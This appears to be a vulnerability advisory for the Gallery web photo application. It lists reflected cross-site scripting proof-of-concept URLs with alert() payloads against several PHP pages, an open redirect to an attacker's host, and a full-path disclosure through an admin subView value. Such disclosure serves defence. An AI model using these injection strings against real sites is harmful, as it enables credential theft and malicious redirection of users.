1) Introduction
===============
Gallery is open to Cross Site Scripting vulnerability, allowing a remote
attacker to inject and execute scripts on the users machine while visiting
a remote gallery.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
Gallery v1.3.4-pl1 contain a vulnerability inside add_comment.php in the
index field. The injection can be done using the classical tag closing:
"><script>alert()</script>
For Example:
http://<valid host>/gallery/add_comment.php?set_albumName=Eros&index=1">
<script>alert()</script>
Gallery v1.3.4-pl1 also contains vulnerability inside slideshow_low.php
in ALL the fields. The slideshow_low.php contains the following form
fields:
set_albumName
slide_index
slide_full
slide_loop
slide_pause
slide_dir
The injection can be done using the classical tag closing:
"><script>alert()</script>
For Example:
http://<valid host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_
index=3&slide_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&sl
ide_dir=1
Yet there is Gallery v1.3.4-pl1 vulnerability inside search.php in the
username field. The injection can be done using hex encoded tag closing
and an HTML event:
%22%20onactivate%3D"alert%28%29"
For Example:
http://<valid
host>/gallery/search.php?searchstring=%22%20onactivate%3D"alert%28%29"
Gallery v1.4.4-pl2 contains vulnerability inside login.php in the
username field.
The injection can be done using hex encoded tag closing and an HTML event:
%22%20onactivate%3D"alert%28%29"
http://<valid host>/gallery/login.php?gallery_popup=true&username=/*%22*/%20
onactivate%3Dalert%28%29%3e
This version of Gallery also has an open redirection, which is a security
risk because
an attacker can send someone a link with a redirection to his evil host name
or to cause
the user to commit an attack or waste a targets resources.
For Example:
http://<valid host>/gallery/do_command.php?set_fullOnly=on&return=<escape
encoded evil
host name>&cmd= All the vulnerabilities described above can be used to
remotely call
a JavaScript file The injected JavaScript code is responsible for:
Automatic launching of malicious code (remote compromise by I.E exploits).
Identity theft using a spoofed re-login window (only for galleries with
login)
Gallery v2.0 Alpha contains vulnerability inside login.php in the
g2_form[subject]
field. The injection can be done using an inline javascript protocol call:
javascript:alert()
For Example:
http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2
_form[formName]=AddComment&g2_itemId=<valid
item>&g2_form[subject]=[img]javascript:alert
()[/img]&g2_form[action][preview]=preview
Gallery v2.0 Alpha contains another vulnerability inside main.php in the
g2_subView parameter. It is possible the replace any valid subView value
such as: comment
:ShowComments with the admin value: core:UserAdmin. This causes the gallery
to wait 30 seconds
and then print out the Full Path of the gallery on the server.
For Example:
http://<valid host>/g2/main.php?g2_return= http://<valid
host>/main.php%3Fg2_view%3Dcore
%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3D< any valid/invalid session
id such as:
be869b98355e8d445c8ec8f97cb343da>&g2_view=core:UserAdmin&g2_subView=core
:UserAdmin
Then the following data will be printed out to the attacker:
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/UserAdmin.inc on line 55
Second Time
Fatal error: Maximum execution time of 30 seconds exceeded in
/mnt/1/<name>/www/<host>/g2/
modules/core/classes/GalleryUtilities.class on line 596
